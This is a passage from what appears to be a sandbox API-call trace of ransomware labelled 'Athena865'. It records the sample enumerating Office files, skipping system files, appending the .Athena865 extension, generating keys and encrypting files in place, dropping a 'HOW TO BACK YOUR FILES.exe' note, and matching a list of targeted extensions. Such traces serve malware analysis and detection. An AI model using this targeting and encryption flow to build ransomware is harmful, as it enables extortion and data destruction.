(lpString1="CollectSignatures_Sign.xsn", lpString2="pagefile.sys") returned -1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="boot") returned 1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="ids.txt") returned -1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="ntuser.dat") returned -1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="perflogs") returned -1 [0139.730] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2="MSBuild") returned -1 [0139.730] lstrlenW (lpString="CollectSignatures_Sign.xsn") returned 26 [0139.730] lstrcpyW (in: lpString1=0x241e8a8, lpString2="CollectSignatures_Sign.xsn" | out: lpString1="CollectSignatures_Sign.xsn") returned="CollectSignatures_Sign.xsn" [0139.730] lstrlenW (lpString="CollectSignatures_Sign.xsn") returned 26 [0139.731] lstrlenW (lpString="Athena865") returned 9 [0139.731] lstrcmpiW (lpString1="_Sign.xsn", lpString2="Athena865") returned -1 [0139.731] lstrlenW (lpString=".dll") returned 4 [0139.731] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2=".dll") returned 1 [0139.731] lstrlenW (lpString=".lnk") returned 4 [0139.731] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2=".lnk") returned 1 [0139.731] lstrlenW (lpString=".ini") returned 4 [0139.731] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2=".ini") returned 1 [0139.731] lstrlenW (lpString=".sys") returned 4 [0139.731] lstrcmpiW (lpString1="CollectSignatures_Sign.xsn", lpString2=".sys") returned 1 [0139.731] lstrlenW (lpString="CollectSignatures_Sign.xsn") returned 26 [0139.731] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn.Athena865") returned 84 [0139.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn.athena865"), dwFlags=0x1) returned 1 [0139.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.733] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14075) returned 1 [0139.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.733] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.734] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.734] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.734] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a00, lpName=0x0) returned 0x17c [0139.735] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a00) returned 0x100000 [0139.736] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.737] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.737] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.738] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.738] CloseHandle (hObject=0x17c) returned 1 [0139.738] CloseHandle (hObject=0x154) returned 1 [0139.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.739] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63409700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63409700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ContactPickerIntl.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2=".") returned 1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="..") returned 1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="windows") returned -1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="bootmgr") returned 1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="temp") returned -1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="pagefile.sys") returned -1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="boot") returned 1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="ids.txt") returned -1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="ntuser.dat") returned -1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="perflogs") returned -1 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2="MSBuild") returned -1 [0139.739] lstrlenW (lpString="ContactPickerIntl.dll") returned 21 [0139.739] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ContactPickerIntl.dll" | out: lpString1="ContactPickerIntl.dll") returned="ContactPickerIntl.dll" [0139.739] lstrlenW (lpString="ContactPickerIntl.dll") returned 21 [0139.739] lstrlenW (lpString="Athena865") returned 9 [0139.739] lstrcmpiW (lpString1="rIntl.dll", lpString2="Athena865") returned 1 [0139.739] lstrlenW (lpString=".dll") returned 4 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2=".dll") returned 1 [0139.739] lstrlenW (lpString=".lnk") returned 4 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2=".lnk") returned 1 [0139.739] lstrlenW (lpString=".ini") returned 4 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2=".ini") returned 1 [0139.739] lstrlenW (lpString=".sys") returned 4 [0139.739] lstrcmpiW (lpString1="ContactPickerIntl.dll", lpString2=".sys") returned 1 [0139.740] lstrlenW (lpString="ContactPickerIntl.dll") returned 21 [0139.740] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.Athena865") returned 79 [0139.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll.athena865"), dwFlags=0x1) returned 1 [0139.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.741] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16256) returned 1 [0139.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.742] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.742] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.742] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.743] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4280, lpName=0x0) returned 0x17c [0139.744] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4280) returned 0x100000 [0139.745] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.746] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.746] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.747] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.747] CloseHandle (hObject=0x17c) returned 1 [0139.747] CloseHandle (hObject=0x154) returned 1 [0139.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.748] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73908200, ftCreationTime.dwHighDateTime=0x1ca7ab5, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x73908200, ftLastWriteTime.dwHighDateTime=0x1ca7ab5, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2=".") returned 1 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2="..") returned 1 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2="windows") returned -1 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2="bootmgr") returned 1 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2="temp") returned -1 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2="pagefile.sys") returned -1 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2="boot") returned 1 [0139.748] lstrcpyW (in: lpString1=0x241e8a8, lpString2="CT_ROOTS.XML" | out: lpString1="CT_ROOTS.XML") returned="CT_ROOTS.XML" [0139.748] lstrlenW (lpString="CT_ROOTS.XML") returned 12 [0139.748] lstrlenW (lpString="Athena865") returned 9 [0139.748] lstrcmpiW (lpString1="ROOTS.XML", lpString2="Athena865") returned 1 [0139.748] lstrlenW (lpString=".dll") returned 4 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2=".dll") returned 1 [0139.748] lstrlenW (lpString=".lnk") returned 4 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2=".lnk") returned 1 [0139.748] lstrlenW (lpString=".ini") returned 4 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2=".ini") returned 1 [0139.748] lstrlenW (lpString=".sys") returned 4 [0139.748] lstrcmpiW (lpString1="CT_ROOTS.XML", lpString2=".sys") returned 1 [0139.749] lstrlenW (lpString="CT_ROOTS.XML") returned 12 [0139.749] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.Athena865") returned 70 [0139.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml.athena865"), dwFlags=0x1) returned 1 [0139.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0139.750] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6069) returned 1 [0139.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ed48 [0139.751] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54edd0) returned 1 [0139.751] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.751] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.752] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ac0, lpName=0x0) returned 0x17c [0139.753] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ac0) returned 0x100000 [0139.754] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54edd0) returned 1 [0139.755] CryptGenRandom (in: hProv=0x54edd0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.755] CryptReleaseContext (hProv=0x54edd0, dwFlags=0x0) returned 1 [0139.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.755] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.755] CloseHandle (hObject=0x17c) returned 1 [0139.755] CloseHandle (hObject=0x154) returned 1 [0139.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ed48 | out: hHeap=0x4f0000) returned 1 [0139.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.756] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="DATASE~1")) returned 1 [0139.756] lstrcmpiW (lpString1="DataServices", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.756] lstrcmpiW (lpString1="DataServices", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.756] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DataServices" | out: lpString1="DataServices") returned="DataServices" [0139.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f718 [0139.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54ed48 [0139.756] lstrcatW (in: lpString1="DataServices", lpString2="\\" | out: lpString1="DataServices\\") returned="DataServices\\" [0139.756] lstrcatW (in: lpString1="DataServices\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DataServices\\HOW TO BACK YOUR FILES.exe") returned="DataServices\\HOW TO BACK YOUR FILES.exe" [0139.756] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\how to back your files.exe"), bFailIfExists=1) returned 1 [0139.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".") returned 1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="..") returned 1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="windows") returned -1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="bootmgr") returned 1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="temp") returned -1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="pagefile.sys") returned -1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="boot") returned 1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="ids.txt") returned -1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="ntuser.dat") returned -1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="perflogs") returned -1 [0139.760] lstrcmpiW (lpString1="DBENGR.VSL", lpString2="MSBuild") returned -1 [0139.761] lstrlenW (lpString="DBENGR.VSL") returned 10 [0139.761] lstrcpyW (in: lpString1=0x241e8a8, lpString2="DBENGR.VSL" | out: lpString1="DBENGR.VSL") returned="DBENGR.VSL" [0139.761] lstrlenW (lpString="DBENGR.VSL") returned 10 [0139.761] lstrlenW (lpString="Athena865") returned 9 [0139.761] lstrcmpiW (lpString1="BENGR.VSL", lpString2="Athena865") returned 1 [0139.761] lstrlenW (lpString=".dll") returned 4 [0139.761] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".dll") returned 1 [0139.761] lstrlenW (lpString=".lnk") returned 4 [0139.761] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".lnk") returned 1 [0139.761] lstrlenW (lpString=".ini") returned 4 [0139.761] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".ini") returned 1 [0139.761] lstrlenW (lpString=".sys") returned 4 [0139.761] lstrcmpiW (lpString1="DBENGR.VSL", lpString2=".sys") returned 1 [0139.761] lstrlenW (lpString="DBENGR.VSL") returned 10 [0139.761] lstrlenW (lpString="bak") returned 3 [0139.761] lstrcmpiW (lpString1="VSL", lpString2="bak") returned 1 [0139.761] lstrlenW (lpString="ba_") returned 3 [0139.761] lstrcmpiW (lpString1="VSL", lpString2="ba_") returned 1 [0139.761] lstrlenW (lpString="dbb") returned 3 [0139.761] lstrcmpiW (lpString1="VSL", lpString2="dbb") returned 1 [0139.761] lstrlenW (lpString="vmdk") returned 4 [0139.761] lstrcmpiW (lpString1=".VSL", lpString2="vmdk") returned -1 [0139.761] lstrlenW (lpString="rar") returned 3 [0139.761] lstrcmpiW (lpString1="VSL", lpString2="rar") returned 1 [0139.761] lstrlenW (lpString="zip") returned 3 [0139.761] lstrcmpiW (lpString1="VSL", lpString2="zip") returned -1 [0139.761] lstrlenW (lpString="tgz") returned 3 [0139.761] lstrcmpiW (lpString1="VSL", lpString2="tgz") returned 1 [0139.761] lstrlenW (lpString="vbox") returned 4 [0139.761] lstrcmpiW (lpString1=".VSL", lpString2="vbox") returned -1 [0139.761] lstrlenW (lpString="vdi") returned 3 [0139.762] lstrcmpiW (lpString1="VSL", lpString2="vdi") returned 1 [0139.762] lstrlenW (lpString="vhd") returned 3 [0139.762] lstrcmpiW (lpString1="VSL", lpString2="vhd") returned 1 [0139.762] lstrlenW (lpString="vhdx") returned 4 [0139.762] lstrcmpiW (lpString1=".VSL", lpString2="vhdx") returned -1 [0139.762] lstrlenW (lpString="avhd") returned 4 [0139.762] lstrcmpiW (lpString1=".VSL", lpString2="avhd") returned -1 [0139.762] lstrlenW (lpString="db") returned 2 [0139.762] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0139.762] lstrlenW (lpString="db2") returned 3 [0139.762] lstrcmpiW (lpString1="VSL", lpString2="db2") returned 1 [0139.762] lstrlenW (lpString="db3") returned 3 [0139.762] lstrcmpiW (lpString1="VSL", lpString2="db3") returned 1 [0139.762] lstrlenW (lpString="dbf") returned 3 [0139.762] lstrcmpiW (lpString1="VSL", lpString2="dbf") returned 1 [0139.762] lstrlenW (lpString="mdf") returned 3 [0139.762] lstrcmpiW (lpString1="VSL", lpString2="mdf") returned 1 [0139.762] lstrlenW (lpString="mdb") returned 3 [0139.762] lstrcmpiW (lpString1="VSL", lpString2="mdb") returned 1 [0139.762] lstrlenW (lpString="sql") returned 3 [0139.762] lstrcmpiW (lpString1="VSL", lpString2="sql") returned 1 [0139.762] lstrlenW (lpString="sqlite") returned 6 [0139.762] lstrcmpiW (lpString1="GR.VSL", lpString2="sqlite") returned -1 [0139.762] lstrlenW (lpString="sqlite3") returned 7 [0139.762] lstrcmpiW (lpString1="NGR.VSL", lpString2="sqlite3") returned -1 [0139.762] lstrlenW (lpString="sqlitedb") returned 8 [0139.762] lstrcmpiW (lpString1="ENGR.VSL", lpString2="sqlitedb") returned -1 [0139.762] lstrlenW (lpString="xml") returned 3 [0139.762] lstrcmpiW (lpString1="VSL", lpString2="xml") returned -1 [0139.763] lstrlenW (lpString="$er") returned 3 [0139.763] lstrcmpiW (lpString1="VSL", lpString2="$er") returned 1 [0139.763] lstrlenW (lpString="4dd") returned 3 [0139.763] lstrcmpiW (lpString1="VSL", lpString2="4dd") returned 1 [0139.763] lstrlenW (lpString="4dl") returned 3 [0139.763] lstrcmpiW (lpString1="VSL", lpString2="4dl") returned 1 [0139.763] lstrlenW (lpString="^^^") returned 3 [0139.763] lstrcmpiW (lpString1="VSL", lpString2="^^^") returned 1 [0139.763] lstrlenW (lpString="abs") returned 3 [0139.763] lstrcmpiW (lpString1="VSL", lpString2="abs") returned 1 [0139.763] lstrlenW (lpString="abx") returned 3 [0139.763] lstrcmpiW (lpString1="VSL", lpString2="abx") returned 1 [0139.763] lstrlenW (lpString="accdb") returned 5 [0139.763] lstrcmpiW (lpString1="R.VSL", lpString2="accdb") returned 1 [0139.763] lstrlenW (lpString="accdc") returned 5 [0139.763] lstrcmpiW (lpString1="R.VSL", lpString2="accdc") returned 1 [0139.763] lstrlenW (lpString="accde") returned 5 